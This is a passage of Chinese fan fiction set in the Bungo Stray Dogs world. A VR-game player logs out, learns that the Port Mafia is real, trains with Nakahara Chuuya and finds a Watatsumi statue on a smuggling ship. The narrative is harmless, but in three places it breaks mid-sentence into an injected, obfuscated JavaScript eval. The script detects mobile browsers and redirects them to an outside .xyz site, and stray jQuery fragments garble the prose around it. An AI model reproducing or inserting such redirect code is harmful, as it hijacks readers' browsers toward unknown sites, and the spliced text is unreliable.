两人一前一后,穿行在夜晚的中华街。喧嚣的人声、食物的香气、霓虹灯的光怪陆离,构成一幅繁华而真实的画卷。但此刻的花理,却无法再像之前那样轻松地沉浸其中。 “啊、到了。”江户川乱步驻足在门口,看着绵津见花理,摸了摸下巴思考了片刻,叮嘱她: “你在这里等我一下哦!” 侦探这样说完,哒哒哒三两步就窜进了楼梯间,消失了。花理抬头看着这座有些年头的红砖建筑,门口挂着一个朴素的牌子——“武装侦探社”。夜色中,楼上的窗户还亮着灯。 不久之后,江户川乱步重新下来了,带着一个黄色头发,扎着小辫子,带眼睛的青年男人。穿着黑色的衬衫和白色的西装马甲套装。见到花理,他推了推表情,表情像便秘了般有些不虞,但还是礼貌地朝她点头打招呼: “绵津见小姐。” “啊……是我,您是……” 「角色:武装侦探社·国木田独步」 「异能力·独步吟客」 「近期事件:被江户川乱步叫下楼并称发现了很有趣的人」 「状态:无奈,但尊重」 名为国木田独步的男人顿了顿,叹了口气,递过来的是写着联系方式的纸条,一个是江户川乱步的,一个是他自己的。他似乎极为艰难地说着: “……乱步先生说,想和您交换联系方式。” “嗯嗯、是我说的~名侦探有预感,和海神小姐会再见面的!” 江户川乱步很是赞同般点了点头,把纸条塞进花理手里: “所以、要收好哦!” “……”国木田独步叹了一口气,无奈地揉着额角,忧愁地朝她微微倾身。 “给您添麻烦了。”男人说,“……我的号码也记在上面了,如果和乱步先生遇到了什么麻烦,请随时联系我。” 29. 暂回 花理稀里糊涂地加上了侦探社社员的联系方式,屏幕上,乱步他们的联系方式让她有些沉默,又低头看了看手中那串冰冷的新宿舍钥匙。 按照中原中也发来的地址,新宿舍离中华街并不远,在一栋看起来管理不错的公寓楼里。比起之前那个老鼠横行的破地方,这里简直像天堂。干净的门厅,明亮的电梯,还有门禁系统。 她按下电梯上楼,期间还不忘给中原中也发条信息以示打工人的忠心: 「from:花理」 「我找到公寓了!谢谢你、前辈……这份恩情我一辈子都不会忘记……?」 她的班味真的越来越重了…… 走出电梯时,中原中也的回复到了,前辈的无语即使隔着屏幕也清晰地传达了过来: 「from:中原中也」 「既然是一辈子都不会忘记那就给我把问号去掉啊!」 「……你到家了?」 过了一分钟,又弹出来一条: 「不客气。好好加油,绵津见。」 花理用钥匙打开门,一股新家具特有的、淡淡的木头和油漆气味扑面而来。房间不大,但干净整洁,一室一厅一卫,基本的家具都已备齐,甚至窗台上还放着一小盆绿植。 “中原前辈……真是靠谱啊。”花理低声感叹了一句,反手锁好门,背靠着冰冷的门板,长长地吁了一口气。紧绷了一天的神经,在踏入这个安全空间的瞬间,终于有了一丝松懈。 她走到窗边,拉开窗帘。窗外是横滨璀璨的夜景,车流如织,霓虹闪烁。这片繁华却是由代码编织…… 她最近经历的一切剧情都太过奇怪,让她不得不验证一下:太宰治的试探,江户川乱步的提示……以及,那份影灯馆里关于她自身的、语焉不详的档案。 这一切,都让“游戏”二字变得越来越虚幻。 她需要确认。 花理反手拉上窗帘,点开系统界面。 淡蓝色的光幕如常展开。 「角色面板:绵津见花理(Lv7)」 任务列表、背包格子……一切看起来都无比正常。她找到了那个熟悉的、角落里的选项——「登出游戏/返回现实」。 深吸一口气,花理按下了那个选项。 眼前突如其来的退出动画,是满屏的q版太宰治,短手短脚玩偶般的旋转闪烁着,露出弧度固定的看起来有些欠揍的笑容。在她被满屏的太宰治玩偶晃得有点被气笑的时候,身体像是被一股柔和却无可抗拒的力量猛地向后拉去,视野被一片纯粹的白光彻底吞噬。强烈的失重感和意识瞬间抽离的空白袭来。 …… 一种熟悉的、自己房间的香薰味。浅淡的玫瑰香。 花理猛地睁开眼。营养仓已经打开,她被光线照的眼睛有些疼,眯了眯眼。视线微微转动,是她那略显凌乱的书桌,堆着几本没看完的漫画和半瓶可乐。 窗外,是现实世界下午时分明亮却不刺眼的阳光,透过半拉的窗帘在地板上投下暖融融的光点。 她回来了。 就这么简单。 “……” 花理坐起来,嘴角抽了抽,一半是对自己疑神疑鬼的无语,她把其称作「轻小说看多了总觉得会不小心穿越的错觉」。 什么太宰治的试探,什么江户川乱步的“海神小姐”和“观众演员论”,什么影灯馆的空白档案……全部都是她自己想太多了。 只是一个游戏而已。最多就是沉浸感太好了…… “神经病啊我……”她咕哝着,掀开覆盖在身上的薄毯。营养舱的舱盖早已无声地滑开,冰凉的空气让她打了个激灵,赤脚踩在熟悉的地板上,她伸了个大大的懒腰,全身关节都发出轻微的“咔吧”声。 在游戏里经历了一整天的惊心动魄和心力交瘁,此刻回到自己安全的家,一种难以言喻的幸福感油然而生。 她拿起床头柜上的手机,解锁屏幕。时间是下午三点十分,日期显示,距离她进入游戏,现实世界只过去了大约六个小时——游戏内的时间流速果然被调整过。 好吧,出都出来了。 她熟络的划开手机,点了一杯奶茶。 手指飞快地在外卖APP上滑动,选中那家常点的○茶。下单,支付一气呵成。 “搞定!”花理满意地把手机丢到床上伸了个懒腰,找了套衣服走进浴室。温热的水流冲刷过身体,镜子里映出她熟悉的脸庞,圆圆的眼睛,挺翘的鼻梁,和游戏里的角色别无二致。 呜呜,这个游戏怎么打的像上班一样……回家有空调能追剧还有奶茶……这就是回归日常的轻松吗! 换上舒适的居家服,花理瘫在客厅的懒人沙发里,随手打开电视。无聊的综艺节目声音在房间里回荡,她刷着手机,等待奶茶的到来。 “怎么还没来……” 已经换了好几个频道,开始打哈欠了。等到她有些无聊,甚至想打个电话过去问问的时候,外卖小哥才姗姗来迟,敲响了花理的家门。 “是绵津见小姐吗?对不起对不起!”骑手小哥的声音充满了歉意,把奶茶递给她之后连连道歉,“我早就取到餐了!但是……路上遇到了点小问题。” 花理接过奶茶的动作顿了顿,游戏玩得她也有一点情报组的职业病了。加冰的奶茶握到手里,凉的她嘶了一声,捏紧杯壁后冰块的触感也很明显。面前,骑手小哥挠了挠头,语气带着点无奈和抱怨。 “就是港口mafia又在街头火并……唉,您知道的,也不能多说……诶?小姐,你怎么了?” 刚刚插入吸管喝了一口奶茶的花理突然被呛到,不小心咳了几声,她一边摇着手说“抱歉抱歉”一边擦去嘴边的污渍,声音带着一点怀疑和颤抖:“港口mafia……?” “嗯嗯,是这样……唉。” 绵津见花理站在门口目送外卖员小哥远去,砰的一声关上门,颤抖的打开手机,点开搜索框,输入「港口mafia」之后,跳出来的词条…… 完全就是同一个啊! 她颤抖着手,满怀畏惧地下划各种词条,看到了熟悉的楼和熟悉的脸。来到横滨有一阵子了,一直当阿宅她都没注意到横滨地标竟然是黑手党的老巢……这城市治安是不是有点……? 还有、这游戏这么大胆的吗?这都敢用……不怕侵犯版权被黑/道讹死吗?这是可以的吗…… 她的嘴张成一个「o」型,下滑搜索内容,甚至还能看到…… ——中原中也。 橘发的男人头发比现在更长了些,扎成一个小辫子松散的披在肩上。在画面里,似乎有一些模糊、神色不耐,穿着西装,脖子上的choker非常吸引眼球。 是她看到了会欢快地挥手喊「前辈!你怎么心情不好?」的样貌。 花理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040804|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛苦地闭眼。 没问题吗?真的没问题吗……别的不说,就算真的以第二人生为主打复刻了现实内容,如果有人玩游戏和游戏里的「中原中也」认识了不小心跟现实中的「中原中也」打招呼,真的不会被一枪爱死吗……或者、出cos遇到仇家怎么办? 她一边喝奶茶一边感叹这游戏公司真是胆大,顺便在参与游戏测试报名的网站上提交了一份吐槽。 奶茶很快就见底了,她闲的无聊,再次安详地躺会了营养仓。只是……花理总觉得她从此以后很难面对中原中也了……「前辈你太像真的mafia了我怕自己弄混淆……」这样说的话,她会被二次元的异能中原中也用重力碾压的吧…… 冰冷的触感传来,舱盖缓缓闭合,熟悉的淡蓝色光芒再次亮起。 她深吸一口气,再次点开了系统界面。光幕展开,一切如常。 花理毫不犹豫地选择了「登入游戏」。 嗡—— 「欢迎回来,尊敬的体验者/绵津见花理/」 「本作《彼方物语》采用现时代最高智能ai、搭配全息休眠仓——力图为您带来最真实的第二人生体验。」 「点击【确认】以进入游戏。」 「您正在进入:异能都市——横滨/存档点1」 「载入中……请稍后……」 是自己昨天选择登出时所在的、中原中也给她新换的房间。忘记了要先躺在床上,就这样在床边摁下登出键的她在地板上躺了一晚上,花理揉着脖子,腰酸背痛地做起来,手边,摔到地上的手机适时发出了两声提示。 与此同时弹出来的是系统。 「错误代码:L-004」 光球在屏幕上上蹿下跳。 「描述:因全感官沉浸式体验对玩家精神负荷极高,为确保稳定与安全,单个角色卡在内测期间限定登出次数为:3次。」 「您当前的登出次数为:1/3。」 「剩余登出次数:2」 「请珍惜您的体验机会,合理安排游戏时间。检测到您的营养舱状态稳定,当前无强制下线需求。」 花理撇了一眼就没再管它,拿起手机,是又一个陌生号码。 「from:?」 「今天到B1的底下训练场去,花理。」 花理有些迟疑的看了看这个信息,总觉得不像是太宰治的手笔。但发信息的人顶着的这个「?」和熟悉的口吻又让她有些怀疑,于是她回复: 「您是……?」 两秒钟之后她就庆幸自己幸好没有直接把这个人认定为太宰治开始呛人。 「from:?」 「呵呵,好像是忘了让小花理留下妾身的号码了。」 「妾身是尾崎红叶。」 花理,拿手机的手微微颤抖。 「from:花理」 「尾崎红叶大人……抱歉!我现在就存好号码」 「哭哭.jpg」 「from:尾崎红叶」 「没关系。」 「今天的任务……中也那孩子说由他来带你。你去B1找他吧。」 「妾身还拜托了他教你一些基本的格斗技巧。花理,要好好学,在这里活下来。」 “……” 花理:“?” 等一下、一上来就让她面对暂时最不想面对的人吗? 30. 训练 做好心理建设,磨磨蹭蹭地收拾好自己,花理深吸一口气,踏上了前往港口Mafia总部大楼的路。大厅中,熟悉的消毒水味扑面而来,这次却让她感觉更加沉重。 「什么,现实里也有港口mafia」……一旦想到这一点,就有些无法面对现在的工作。 她低着头,一路贴着墙根挪向通往地下训练场的专用电梯。 “叮——” 电梯门滑开,训练室特有的、混合着汗水、皮革材料和淡淡消毒水的沉闷气息涌了出来。巨大的空间被划分成不同的区域,此刻人不算多,但拳脚碰撞的闷响、器械摩擦的刺耳声以及偶尔的呼喝还是让环境显得有些嘈杂。 训练场灯光明亮,花理一眼就看到了那个显眼的身影。 前辈、「中原中也」…… 她现在最不想面对的就是他……刚在现实世界搜索完港口Mafia和“中原中也”的词条,脑补了一堆版权纠纷和Cosplay黑/手党的抓马场景,不禁在「太熟了万一混淆二次元和现实不就完蛋了」「不行了看到他好想笑」中摇摆。 她痛苦地揉了揉脸,在心里做了个无声的尖叫表情。系统「……」了一下,默默地: 「我可以帮您给中原中也……这位中原中也的脸打码。」 「那还是算了那更好笑了……」花理忍俊不禁。 中原中也背对着她,站在一个沙袋前。或许是因为训练,西装外套已经被脱下,只穿着简单的衬衫和长裤,精悍流畅的肌肉线条若隐若现。汗水顺着他橘色的发梢滴落,在灯光下闪着微光。他正对着沙袋进行着某种基础的力量训练,动作沉稳有力,每一次出拳或踢击都带着破空声,沙袋发出沉闷的“砰砰”巨响。 花理低着头,盯着自己的鞋尖,慢吞吞地挪过去,停在离他还有好几米远的地方,像一株试图融入背景的蘑菇。 然后她忍不住地:“有异能也要练习的吗?” 击打沙袋的声音停了。 “哈?” 中也转过身,随手抓起搭在旁边的毛巾擦了擦汗。那双冰蓝色的眸子精准地扫过来,落在花理身上。他的目光锐利依旧,但花理今天格外心虚……她总疑心对方能看穿她脑子里那些关于「真假中也导致的后果」的胡思乱想。 “来了?”虽然是剧烈运动后,中原中也的语调倒还算平静,“红叶姐跟你说了吧?从今天开始,基础的体能和格斗训练由我来负责。你……” 他的目光在她身上上下扫视一圈,眉头几不可查地蹙了一下,毫不客气地点评:“……弱得不像话。港口Mafia不是过家家的地方,绵津见。” “不想下次任务再被人当靶子或者拖后腿,就给我打起精神好好练。” “我只是个文员……” “……”中原中也皱了皱眉,他放下毛巾,朝花理走近几步。随着他的靠近,属于强者的压迫感瞬间笼罩过来,让花理下意识地又想后退。她举起双手闭着眼睛怂的从心: “如果训练内容是实战的话我现在就会投降的!” 中原中也:“……” 他额角的青筋似乎跳了一下。 “你很有想法啊。”他捏了捏手,手指的骨头发出几声咔咔响,似笑非笑地看着她,“一上来就说实战这种话,你其实还蛮有自信的吧?” 花理迟疑:“也就……勉强一九、三七开?” “哦?”中原中也挑眉。 “你三拳我头七,你一拳我下九泉。” “……”无语到极致,面无表情的中原中也毫不客气地下令,“很好,那来吧。” “啊?” “既然精神饱满,”中也双手抱臂,好整以暇地看着她,“那就别杵着了。热身,然后……”他下巴朝旁边空着的训练垫扬扬,“开始。” 花理眨眨眼,表达着自己的清澈茫然。中原中也盯着她看了片刻,叹了一口气。 “你当参观吗?动起来啊。” “热身的话是要跑步吧?我的速度会让前辈崩溃的……”花理愁眉苦脸地用脚画圈圈,一脸诚恳,期期艾艾地: “所以我们……”能不能不练了…… 会错意的中原中也:“直接开始?虽然容易伤到……但是也可以,毕竟真的战斗可不会给你热身的时间。” 花理:“?”不、她不是这个意思。 但在中原中也的死亡凝视和抬了抬下巴的催促中,她苦着脸,磨磨蹭蹭地挪到场中空地上。 “先试试攻击。”中也言简意赅,摆出了一个防御姿态,示意花理攻击,“用你最大的力气,最快的速度,打过来。 “……可以吗?” “你还伤不到我。” 好吧,真的很伤人。但花理不服输的胜负欲上来了。 “如果可以呢?”她眯着眼,摩拳擦掌,“如果可以的话就不继续练了?” “呵,”半晌,中也发出一声意味不明的短促哼笑,扯了扯嘴角,“……行啊。” 花理看着中也那副明显不当真,一脸轻松的表情,又想起这几天在游戏角色手里的接连吃瘪,一股不服输的劲儿莫名涌了上来。 她深吸一口气,回忆着电影里看到的那些花里胡哨的大开大合的动作,然后—— “我要打十个!”她大喊一声《叶○》中的经典台词给自己壮胆,在中原中也无语抽动的嘴角中,毫无章法地一拳就朝中也来了一下。 但在中原中也看来,只有气势很足,动作软绵绵的,速度更是慢得离谱。 中也眉头都没动一下,身体微侧,左手轻描淡写地一拨,花理的拳头就偏离了方向。她整个人因为用力过猛,加上被拨开的力量带得重心不稳,踉跄着向前扑去。 “啧。”中也另一只手及时精准地抓住了她的后衣领,像拎小鸡一样把她提溜了回来,避免了脸着地的惨剧。花理尴尬地“诶嘿”一声,望天望地。 “这就是你的最大力气和最快速度?”中原中也的语气充满了毫不掩饰的嫌弃,“连镭钵街的小混混都比你能打。” “……”花理非常诚实地点点头,“那确实是……” 她皮下就是个普通人,混混……还是横滨镭钵街这种生死局的混混当然比她能打啊…… “……你刚刚说「我要打十个」。” “那个啊……前辈你该补补中华电影了。”花理眨眨眼,伸出一根手指头故作深沉地晃晃,“那可是武学大师叶○的台词。” 中原中也不语,但嫌弃溢于言表。他松开手,走到离花理三步远的位置,这次连架子都懒得摆了,抱着臂盯着她。 “再来。” 这一次,花理学到了点上次失败的经验。她努力集中精神,盯着中也,试图寻找破绽。然而中原中也仿佛能预判她的每一个想法。她刚想抬腿,小腿就结结实实地挨了一下,疼得她倒吸一口凉气;刚想抬手格挡,手腕就被抓住反拧,疼得她嗷嗷叫。 “疼疼疼!前辈手下留情啊!骨头要断了!”花理痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040805|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼,眼泛泪花,努力想挣脱中也铁钳般的手。 “这就受不了了……?”中也松开她,眉头紧锁,显然对她的表现极其无奈和茫然,他根本没有用力。 花理揉着被捏红的手腕,委屈地小声嘟囔:“人类对比大猩猩、咳……卡密撒嘛无理。” “……但是,似乎也不是完全不行。就算是现在这样,我总有一种我曾经很会打架的感觉……”感觉很模糊,但身体似乎还记得一点。在第二次动手时,开始慢慢浮现出来。 “嗯?”中也显然听到了她的嘟囔,挑了挑眉,脸上写满了怀疑,“你?” “我啊……前辈你不要这么看不起我……” 话音未落,中也毫无征兆地动了。这次不再是引导性的慢动作,而是快如闪电的一记直拳,带着破风声直袭花理面门! 花理瞳孔骤缩,一股寒意瞬间从脊椎窜上头顶这一拳要是打实了,她绝对要当场晕过去。巨大的危机感如同冰水浇下,瞬间冲垮了所有杂念,她下意识地骂了一句脏话: “jdbwjxj#%%!你偷袭!不讲武德!” 几乎是本能的反应,她甚至没看清中也的动作轨迹,身体已经先于意识做出了应对。原本的动作瞬间改变,右臂猛地向上格挡,小臂内侧精准地撞在中也的手腕处,硬生生将这一拳的轨迹撞偏了几分! 砰! 拳头擦着她的鬓角掠过,带起的劲风刮得她脸颊生疼。她甚至能感觉到几根发丝被拳风扬起。 与此同时,花理的身体借着格挡的力道,腰腹猛地发力,一个迅捷流畅的矮身旋转,如同泥鳅般从中也的攻击范围下惊险地滑了出去。动作一气呵成,带着一种连她自己都感到陌生的利落感。 这一下,不仅花理愣住了,连中原中也眼中也掠过一丝明显的诧异。 他刚才那一拳虽然留了力,但速度绝对不是一个普通文员、前两拳打的跟小学生一样的体力废能反应过来的。更别说做出如此精准有效的格挡和闪避动作。 “你……”中也看着几米外站稳身形、正一脸懵逼地看着自己的手的花理,眉头深深皱起。刚才那瞬间的爆发力和反应速度,绝非偶然。 花理自己也傻了,呆呆地看着自己的手臂。刚才那一下……是她做的?那种在千钧一发之际身体自动做出反应的感觉…… 就像……就像曾经无数次面对过类似的致命威胁一样。 “前辈……我……”她张了张嘴,想解释什么,却发现无从说起,“难道说我以前可能练过?” 还是系统给开了?毕竟是Mafia身份一点都不会战斗也不像话…… 中也的目光在她脸上逡巡片刻,那份诧异很快被审视和判断取代。他没有继续追问,只是收回了拳头,语气恢复了原来的平静,甚至似乎替她找补般: “反应确实比我想象的快一点。但也仅此而已了,基础太差,力量、耐力、技巧都跟不上,碰到真正的敌人还是死路一条。” “行了,就这样,结束。” “诶?可以吗?”花理惊讶地睁大眼睛,有些不敢信自己就这么轻松地混过去了。 “你刚刚说要是伤到我就不练了。虽然还没能做到,不过能挡下一招,今天勉强算你过关吧。” 他走到旁边拿起手机,按亮屏幕:“正好有个新任务。跟我走一趟,实战就是最好的训练场。” 花理还没来得及为刚才的“高光时刻”沾沾自喜,就被“实战任务”四个字砸得晕头转向。 31. 走私船 “啊?等等!前辈!我……”她试图挣扎,“诶?我也要去吗……” 中也头也不回地往外走,只丢下一句介绍就堵住了她所有的借口:“任务地点在码头,一艘刚靠岸的走私船。” 他甚至回头打趣般促狭道:“是简单的情报工作,很适合你。” 花理:“……”为什么听起来更可怕了?! 但中原中也完全没有理会她的崩溃。 横滨港某处偏僻的泊位。空气中咸湿的海腥味混杂着铁锈和机油特有的气息扑面而来。一艘看起来饱经风霜、船体上涂着模糊不清字迹的捕鱼船,正静静地停靠在布满青苔的岸边。船体锈迹斑斑。 港口Mafia的人员显然已经提前控制了现场。几个穿着标志性黑西装的身影沉默的、警惕地守在门口和周围的关键位置,眼神锐利地扫视着四周。空气中弥漫着一种无声的肃杀和严肃感。 花理跟在中原中也身后,亦步亦趋地从车上下来。 车子刚停稳,负责现场指挥的黑西装同事就快步迎了上来,对着刚下车的两人恭敬鞠躬:“中原干部!目标已经控制,船员都被集中在甲板上了。初步检查,夹带的是一些违禁药品,数量不小。” “……怎么又是药。”花理苦恼地抓了抓头发,“横滨真是多灾多难。” “所以人都控制住了,为什么我们还要来……” 她小声的吐槽引来了中原中也一个眼刀,花理轻咳一声,马上还是一副故作正经的认真工作的面孔: “所以我们现在干什么?中原干部。” 中原中也懒得理她,朝那位mafia点点头,目光扫过船上被反铐着双手、蹲在甲板中央的一众船员。那些面孔大多带着惶恐、麻木或是强装镇定的不安,在□□成员的看守下显得格外畏缩。 “清点货物,查船员背景,特别是船长。”中原中也工作时的声音出乎花理意外的强硬和冷淡,和他平时给她的感觉完全不同,不由得侧头看他: “我要知道他最近接触过谁,这批货是走哪条线过来的。” “是!”她的同事们也利落的下去工作了。 花理则跟在中也身后,踏上那摇晃湿滑的舷梯。脚下是嘎吱作响的甲板,耳边是海浪拍打船体规律的哗哗声,鼻腔里充斥着海腥、铁锈、机油混合的复杂气息。 海鸥偶尔略过是会发出嘶哑的鸣叫,很是难听。整个场面配合在一起,有一种压抑的氛围。 她努力绷紧身体,学着身边那些黑西装的样子,试图让自己看起来不那么格格不入,像个“专业”的Mafia情报员。 大部分船员都蔫蔫地蹲着,只有少数几个眼神里带着不甘和凶戾。中也锐利的目光如同探照灯般扫过人群,最终定格在一个身材矮壮、皮肤黝黑粗糙、脸上带着一道狰狞刀疤的秃头男人身上。那男人眼神凶狠,即使被控制着,也透着一股不服输的蛮横劲。 “他就是船长。”小头目低声汇报,“是本地人,所以前期保密工作做得很好。” 中原中也轻轻地笑了一声,大概是不屑的成分多一点。以武力著称的重力使对他人的威胁和凶恶毫不迟疑。他只是淡淡地“嗯”了一声当是对下属的回答,皮鞋踩在湿漉漉的甲板上,身形仍然稳固。 他走了过去,居高临下地看着船长,花理愣了愣,随即跟了过去。整个队伍她只有中原中也一个熟人,恰好对方还是职位最高的。已经被她认定为「职场的妈妈」,而职场新人最擅长的就是「小鸭子找妈妈」。 中原中也站定在被捆起的人面前,微微垂眸,压迫感十足: “货是谁的?买家是谁?” “呸!”男人猛地啐了一口唾沫,眼神怨毒,“港口Mafia的走狗!想从我嘴里撬东西?下辈子吧!老子在横滨海上跑船的时候,你们这群穿黑西装的崽子还没出生呢!” 花理在旁边看得心惊肉跳,下意识地屏住了呼吸。她看到中也嗤笑一声,似乎对这种垂死挣扎的谩骂早已免疫。 他蹲下身和男人对视,对方从一开始的狠厉、不服输到不知为何气势开始弱了中原中也一节。明明还处在青年和男人的界点,容貌漂亮的中也,在这种时候却格外有威慑力。以至于男人从一开始的“看什么看!港口Mafia的狗崽子!”到闭上嘴,恶狠狠地盯着中原中也,再在中也挑眉的无声回应中低下了头。 中原中也再次站直身体,双手插兜,看起来像挺立高洁的雪松。她以为中也会直接动手时,中也却只是对旁边行动组的小头目偏了偏头: “带几个人,去船舱仔细搜一遍。任何角落都不要放过。” “是!” 花理有些意外地看向中也。中原中也像是察觉到了她的视线,侧过头瞥了她一眼,声音不高不低,恰好能让她听见:“干什么?害怕?” “……对我们的工作性质有了一些新的了解?”花理犹豫着回答,“是因为这种事本来都是我们在做,所以被抢了生意才回来的吗?” 她指的是走/私。 中原中也看了她一眼,似乎又是想开口吐槽些什么,却因为正在工作并且现场很多人和容忍下来,叹了一口气,摆了摆手,转身往另一个方向走。 “……绵津见。”他声音闷闷的,估计有些不爽,“你上班前真该让你背下工作守则的。” “唔。”总觉得前辈在面对熟人……如果自己能算是熟人的话、的时候氛围是不是不太一样?感觉柔和了许多。 花理婉拒,摇头以示抗议。 原来前辈不是只会用重力解决问题啊……还有类似这样的工作吗。她刚这么想,就听中也接着对她道: “你,跟我进去看看。学着点。” 花理:“……”果然。 “是——”她有气无力地拉着声音应道,耷拉着脑袋跟着中原中也走。 船舱内部光线昏暗,通道狭窄,堆放着各种杂物和看不清用途的绳索、铁桶。中也目标明确,径直走向位于船体深处的船长室。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040806|178762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 船长室的空间相对宽敞一些,但也凌乱不堪。航海图、账本、喝剩的酒瓶扔得到处都是。 花理心道作为情报员她今天必要做出成绩,严阵以待认真地一点一点检查过去。 中也没有理会这些,他的目光如同精准地粗粗略过大部分区域,快速扫过墙壁、地板、天花板,最后停在角落一个看起来像是固定在地板上的老旧木箱上。 木箱看起来平平无奇,但中也走过去,用脚尖踢了踢箱体与地板的连接处,发出几声沉闷的回响。他蹲下身,手指在接缝处摸索片刻,猛地发力—— 咔哒! 一声轻微的机括声响起,一块地板应声被掀起,露出下面一个隐藏的、不大的暗格。 “呜哇……”花理忍不住小声惊呼,对中原中也投去钦佩的眼神的同时有一种对自己辛勤工作却输的彻底的郁闷。 “您不是武力派吗……” “……你还要在这个点上纠结多久啊!” “比起纠结不如说作为情报人员在自己的工作类型方面输给了您感到很伤心……” 虽然只是游戏、但是玩家也是有自尊心和荣誉感的! 中原中也还保持着蹲着的动作,转过身来和她对视了一眼,相顾无言片刻,青年眼里的嫌弃和吐槽欲如有实质,沉默了一下,心累地朝她挥挥手。 “不想输的话、现在就去好好检查啊……” “明明最重要的物证已经被您发现了,再努力也没有用处了吧……”花理半蹲在中原中也身后,看着他仔细检查暗格的动作,叹了口气,突发奇想: “前辈,你如果回家发现没带钥匙是不是也能把锁撬开?” “……你的关注点会不会太异常了?”中原中也抿了抿嘴,气笑了,但还是回答了她,“那我走窗户。” 花理:“……”好吧,会飞是不一样。 中也伸手从暗格里摸索了一下,掏出一个用防水布包裹得严严实实的、书本大小的东西。 “拿着。”中也随手将包裹丢给花理,自己则继续检查暗格内部,确认没有其他东西。 花理手忙脚乱地接住那个沉甸甸、带着冰冷潮气的包裹。她好奇地掂量了一下,感觉里面像是个方方正正的硬物。就在中也准备起身离开时,花理的视线无意间扫过船长室角落一个不起眼的、积满灰尘的小型神龛。 那神龛非常简陋,用粗糙的木头钉成,几乎和杂物融为一体。看起来不常擦拭,没有上过香的样子,她有些郁闷不供奉为什么还要放在船长室。 神龛中央,端端正正地摆放着一尊小巧的、用某种深色石材雕刻而成的女性神像。 神像面容模糊,带着一种古老而静谧的神性。带着灰,周围还有蜘蛛网,是很常见的日式神像的雕刻风格。 最引人注目的是,神像的底座上,清晰地刻着几个汉字—— 绵津见命。 绵津见……?和她的姓氏一样、她是说,无论是现实中的、还是游戏id都一样…… 32. 神名 神像上刻着的姓氏和自己完全一样。 花理迟疑地把中原中也让她拿的包裹用一只手臂夹住,另一只手打开wiki搜索了「绵津见命」这个关键词。 「绵津见命→回车→搜索」 关键词下跳出来的相关帖子让她看着看着,面色变得有些奇怪: 「绵津见命/日本记纪神话」 「绵津见命/海洋与潮汐」 「绵津见命/洪水神话」 花理:“……” “前辈,你觉得人可能和神有关系吗?” 中原中也回过头来给了她一个怀疑的眼神,“哈?”了一声,她这又想起来面前的人就是所谓的「神」,顿时沉默,打消了分享吐槽封建迷信破除小贴士的念头。 海神……绵津见? 花理的心脏猛地漏跳了一拍。她想起江户川乱步称呼她的「海神小姐」……这就是莫名其妙的称呼的来源吗?……是巧合? 这艘走私船的船老大是本地人,供奉的是在横滨海域流传的海神? ……她在现实中也搬到横滨一段时间了,为什么完全没听说过。 总不能说游戏为了完善她的角色设定新捏的神吧……大不敬啊大不敬,夭寿了…… 「检测到主线相关剧情进展。」 「主线【你遗忘的记忆里】章节【遗忘之河,勒忒之水】进度+5%」 「解锁主线重要词条:【绵津见命】」 「请积极探索主线……」 随着系统的播报,一种莫名的熟悉感如同电流般窜过她的脊椎。她仿佛能感受到石像散发出的、冰凉而深邃的气息,与记忆中某种模糊的、源自大海深处的呼唤遥相呼应。 她鬼使神差地朝那个神龛伸出手,指尖微微颤抖,想要去触碰那尊小小的石像。 她的指尖触碰到冰冷的石象时,恍惚间有什么画面在她面前闪过,如同涨潮时的浪,极其突然的,庞大的涌入她的脑海。 忽明忽暗的闪烁,星辰或是灯光;冰凉的触感,萦绕在指尖的浪花,陌生的人脸,在头顶上的白炽灯…… 花理头一疼,神像被推到地上,发出沉闷的巨响,花理捂着脑袋退后几步,巨大的声响吸引了中原中也回头。花理摔坐在地上,中原中也顿了顿,放下手里正在检查的部分,大步跨过来: “喂!你没事吧!” 在看到花理只是坐在地上捂着脑袋,周围空无一人,更别说敌人了,他的担心就变成了一种无语。他径直走到还趴在地上的花理面前,弯腰一把将她拎了起来,动作算不上温柔。 “……绵津见。现在我也觉得,”中原中也顿了一下,面色复杂,“你不适合当Mafia了。” 花理:“……哈、哈哈。” “你怎么样?”叹了一口气,中原中也的目光在她身上快速扫视,确认她只是被摔倒,并没有受伤。 “没……没事。”花理心脏还在狂跳,声音带着点颤抖,刚刚成型的记忆似乎又消散了,它疑惑地敲了敲脑袋,什么也没想起来。 中原中也看着她苍白的脸和摔到了捂着腰的动作,眉头皱得更紧了。他刚才虽然分头行动,但花理那鬼使神差走向神龛的举动,还有她脸上瞬间流露出的恍惚神情,都没逃过他的眼睛。 “你刚才……”中也的目光转向那个角落里的简陋神龛,落在那尊小小的“绵津见命”石像上,“在看那个?” 花理顺着他的目光看去,那尊石像被她推倒在地,仰面朝上。但石像依旧安静地立在神龛中,散发着古老而神秘的气息。 